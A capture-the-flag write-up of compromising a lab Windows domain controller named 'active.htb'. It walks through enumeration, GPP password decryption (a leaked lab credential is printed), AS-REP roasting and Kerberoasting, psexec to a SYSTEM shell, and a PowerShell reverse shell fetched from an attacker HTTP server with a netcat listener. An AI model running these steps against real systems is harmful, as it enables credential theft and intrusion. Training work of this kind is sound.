The ExtractPorts utility is used to get a Readable Summary of the previous scan and have all Open Ports copied to the clipboard
Active/Scans
extractPorts allPorts
ExtractPorts Output
Active/scans
[+] Extracting information... [+] IP Address: 10.129.135.22 [+] Open Ports: 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49166,49168[+] Ports Copied to Clipboard
Then, the Comprehensive Scan is performed to gather the Service and Version running on each open port and launch a set of Nmap Basic Recon Scripts
Note that this scan is also exported to have evidence at hand
# Nmap 7.94SVN scan initiated Sat Nov 16 16:37:06 2024 as: nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49166,49168 -sCV -oN targeted 10.129.135.22Nmap scan report for active.htb (10.129.135.22)Host is up (0.11s latency).PORT STATE SERVICE VERSION53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)| dns-nsid:|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-16 15:37:15Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)3269/tcp open tcpwrapped5722/tcp open msrpc Microsoft Windows RPC9389/tcp open mc-nmf .NET Message Framing47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.049152/tcp open msrpc Microsoft Windows RPC49153/tcp open msrpc Microsoft Windows RPC49154/tcp open msrpc Microsoft Windows RPC49155/tcp open msrpc Microsoft Windows RPC49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049158/tcp open msrpc Microsoft Windows RPC49162/tcp open msrpc Microsoft Windows RPC49166/tcp open msrpc Microsoft Windows RPC49168/tcp open msrpc Microsoft Windows RPCService Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windowsHost script results:| smb2-security-mode:| 2:1:0:|_ Message signing enabled and required| smb2-time:| date: 2024-11-16T15:38:15|_ start_date: 2024-11-16T08:30:09|_clock-skew: 1sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Nov 16 16:38:19 2024 -- 1 IP address (1 host up) scanned in 72.77 seconds
First of all, we see in the output of this comprehensive Nmap Scan that there is a domain name associated with the Target IP Address
It looks that this host is a DC (Domain Controller) judging by the ports It has open
As it has the SMB service exposed (139 and 445 Port), let’s extract some general information about the target
Active/scans
netexec smb 10.129.135.22
Command Output
SMB 10.129.135.22 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
The Target’s hostname is DC, therefore, we were right before, it is a Domain Controller and the Domain Name is Active.htb
Otherwise, nothing interesting, the SMB is signed and SMBv1 is not enabled
53 - DNS
Let’s see if we can gather some information about the DNS Service running in this port
Banner Grabbling
Active/scans
dig version.bind CHAOS TXT @10.129.135.22 +short
Output Command
Active/scans
"Microsoft DNS 6.1.7601 (1DB15D39)"
The DNS Server Version is extracted, but we cannot do too much with that tbh since there is no CVE related to that version
Zone Transfer
Try to carry out a Domain Zone Transfer using dig to know some subdomains created within the DNS Zone related to the active.htb domain
Active/scans
dig axfr active.htb @10.129.135.22
Command Output
Active/scans
; <<>> DiG 9.18.28-1~deb12u2-Debian <<>> axfr active.htb @10.129.135.22;; global options: +cmd; Transfer failed.
As mentioned in the above command output, the DNS Transfer failed, it seems that there is nothing interesting here
Let’s move on to the next!
135 - RPC
We do not have any valid credentials to authenticate with a domain user account, but we can try to use a Null Session (Null Authentication)
If Null Session is enabled, we can extract information via RCP by interacting with the EMP (Endpoint Mapper) and RCP Endpoints via namedpipes or dynamic ports
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
We cannot interact with the SAMR Service as RCP Endpoint due to an access denied response
Remember that the SMB authentication is carried out before the RPC client interacts with the EMP in the 135 port
In this case, It seems that the SMB Authentication was successful through the Null Session but we dont have enough permissions to interact with that RCP Endpoint
If we try to authenticate with a Guest account, we get in the response that the guest account is disabled
# extended LDIF## LDAPv3# base <DC=active,DC=htb> with scope subtree# filter: (objectclass=*)# requesting: ALL## search resultsearch: 2result: 1 Operations errortext: 000004DC: LdapErr: DSID-0C09075A, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v1db1# numResponses: 1
Nothing here either, normally we cannot list anything related to LDAP until we have valid credentials to can authenticate with an existent domain user account
At that point, we can try to use ldapsearch again or switch to ldapdomaindump to get a better overview of the domain
88 - Kerberos
Since we have neither valid credentials nor existing domain user accounts, let’s try to enumerate some of them via Kerberos
We can perform a user enumeration using kerbrute, simply pass as argument a valid User Dictionary to this tool
Note that this tool send as client a AS_REQ with no Kerberos Pre-Auth to the KDC’s AS. If the KDC responds with Principal Unknown Error, the user does not exist
Otherwise, if the KDC prompts for pre-auth, then we know that the user exists in the domain
If some domain user accounts are found, we can carry out an AS_REPRoast Attack to check if that users have the flag DONT_REQ_PREAUTH enabled
In this case, kerberos pre-authentication is not necessary, so we receive as AS_REP a chunk of data, i.e. the enc-part of the AS-REP that we can try to crack offline
It’s important to know that this chunk of data is encrypted by the KDC using the NTLMv1 Hash of the user account in question. Thefore, if we crack that ciphered object, we will get the User Domain Account’s Password
Just let this scan in the background and continue with the enumeration
139, 445 - SMB
Earlier we have use netexec to perform a basic enumeration about the Target
Let’s list the availables shared folders
Remember that we do not have credentials, therefore, we have to use a Null Session as before
SMB 10.129.135.22 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)SMB 10.129.135.22 445 DC [+] active.htb\:SMB 10.129.135.22 445 DC [*] Enumerated sharesSMB 10.129.135.22 445 DC Share Permissions RemarkSMB 10.129.135.22 445 DC ----- ----------- ------SMB 10.129.135.22 445 DC ADMIN$ Remote AdminSMB 10.129.135.22 445 DC C$ Default shareSMB 10.129.135.22 445 DC IPC$ Remote IPCSMB 10.129.135.22 445 DC NETLOGON Logon server shareSMB 10.129.135.22 445 DC Replication READSMB 10.129.135.22 445 DC SYSVOL Logon server shareSMB 10.129.135.22 445 DC Users
It seems that we only have read permissions on Replication directory
Let’s try listing the same using smbmap to get a different perspective
Active/scans
smbmap -H active.htb -u '' -p ''
Command Output
Active/scans
[+] IP: active.htb:445 Name: unknown Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ NO ACCESS Remote IPC NETLOGON NO ACCESS Logon server share Replication READ ONLY SYSVOL NO ACCESS Logon server share Users NO ACCESS
Yep, we can confirm that we only have read permissions on that folder
Thus, let’s access to the Replication folder to inspect its content
One of them stands out above the other → Groups.xml
This file is generated automatically when a GPP related to an Addition/Update/Deletion of Domain Computers’ Local User Accounts is configured
This can contains juicy information in old versions of Windows Servers →
Username Field
CPassword Field
The last one stored the Cyphered User Password
Since Microsoft published the Simmetric Ciphering Key used to encrypt that password, anyone can decrypt it, as the key is the same for all Windows Systems
SMB 10.129.135.22 445 DC [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)SMB 10.129.135.22 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18SMB 10.129.135.22 445 DC -Username- -Last PW Set- -BadPW- -Description-SMB 10.129.135.22 445 DC Administrator 2018-07-18 19:06:40 0 Built-in account for administering the computer/domainSMB 10.129.135.22 445 DC Guest <never\> 0 Built-in account for guest access to the computer/domainSMB 10.129.135.22 445 DC krbtgt 2018-07-18 18:50:36 0 Key Distribution Center Service AccountSMB 10.129.135.22 445 DC SVC_TGS 2018-07-18 20:14:38 0
Once a list of existent usernames is obtained, we can perform, as mentioned earlier, an AS_REPRoast Attack to check if that domain user accounts dont have the Kerberos Pre-auth enabled
INFO
To perform an AS_REPRoast Attack, an attacker must have valid credentials of any domain user account or a list of existent domain usernames
The previous kerbrute scan dit not find nothing except the Administrator Account
So, let’s continue!
AS_REPRoast Attack
We are gonna use this impacket example → GetNPUsers.py
This can be done in two ways →
Authenticating directly with a valid domain user account
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User SVC_TGS doesn't have UF_DONT_REQUIRE_PREAUTH set
Thus, Kerberos pre-auth is enabled for them and we cannot receive an AS_REP containing an enc-data to try to crack it offline
Kerberoasting Attack
Remember that we already have valid credentials to be able to authenticate as the active.htb\SVC_TGS domain account
This means that we can request to the KDC’s AS a TGT as the above user
The Ticket Granting Ticket allow us to perform certain actions in the domain while authenticated
One of these actions is to request a TGS (Ticket Granting Service) to the KDC’s TGS for one or more SPNs (Service Principal Names)
Since the TGS is encrypted with the NLTMv1 hash of the domain user account related to the service identified by the SPN, we can just crack this ticket to get the plaintext password of this domain account
The tool used to carry out these actions is the following by Impacket → GetUserSPNs.py
SPN Enumeration
First, let’s list the availables Service Principal Names in the domain →
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companiesServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2024-11-17 09:40:15.894933
Only one SPN is available, but one thing catch my attention
The Domain User Account related to that SPN is the Administrator User, which means that the TGS issued for this service will be encrypted with the NTMLv1 hash of the administrator account 😊
TGS Capture
So, let’s request the TGS to the KDC’s Ticket Granting Service
INFO
As mentioned earlier, in order to request a TGS for any available SPN, the client must have a TGT previously issued by the KDC
In this case, the GetUserSPNs tool takes care of this for us before we request the TGS
Let’s crack the generated hash using both hashcat and john
Hashcat
You don’t need to specify the Hash Mode related to the input hash to hashcat, as this tool detects it automatically
But, if you want to do it manually, just list the hashcat list with a bunch of example hashes and filter by the one used in this case, i.e. $krb5tgs$23
And Boom! We now have the Administrator’s Password
Shell as Administrator
PSExec
As mentioned earlier, the WINRM ports are not open, so we cannot stablish a connection through evil-winrm to get a shell
Although, since we have the Administrator User’s Credentials, we can use psexec from impacket to execute system commands in the target or get a shell via cmd.exe
Shell access is also possible from a powershell.exe. The terminal hangs up and get stuck when running a powershell from the cmd
But we can just establish a reverse connection through a Reverse Shell using psexec too
Let’s look at both ways to accomplish the same task, which is to gain remote access to the machine as the Administrator User
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] Requesting shares on active.htb.....[*] Found writable share ADMIN$[*] Uploading file MFfZgtve.exe[*] Opening SVCManager on active.htb.....[*] Creating service nNMb on active.htb.....[*] Starting service nNMb.....[!] Press help for extra shell commandsMicrosoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:\Windows\system32> whoamint authority\systemC:\Windows\system32>
And Boom! We are in as Administrators
Powershell
First, you need a reverse shell payload in powershell to establish a reverse connection from the target to the attacker
The idea is to use psexec to run a powershell.exe instance that will use Invoke-Expression, aka IEX, to execute as a command the HTTP Response’s Body, which is the reverse shell payload that the attacker is sharing with a Simple HTTP Web Server
Once the above is done, set up a Simple HTTP Server with python3 to share the reverse.ps1
Active/tools
python3 -m http.server 8888
Before executing the command from the target to request the reverse shell, remember to set up the Listening Socket specified in the payload, e.g. using netcat
rlwrap nc -nlvp 443listening on [any] 443 ...connect to [10.10.16.34] from (UNKNOWN) [10.129.135.22] 50143PS C:\Windows\system32> whoamint authority\system
And Boom! We are in as Administrators
CAUTION
If something goes wrong and the reverse connection cannot be stablished, just change the above powershell command’s scheme codification to UTF-16LE and Base64 encode it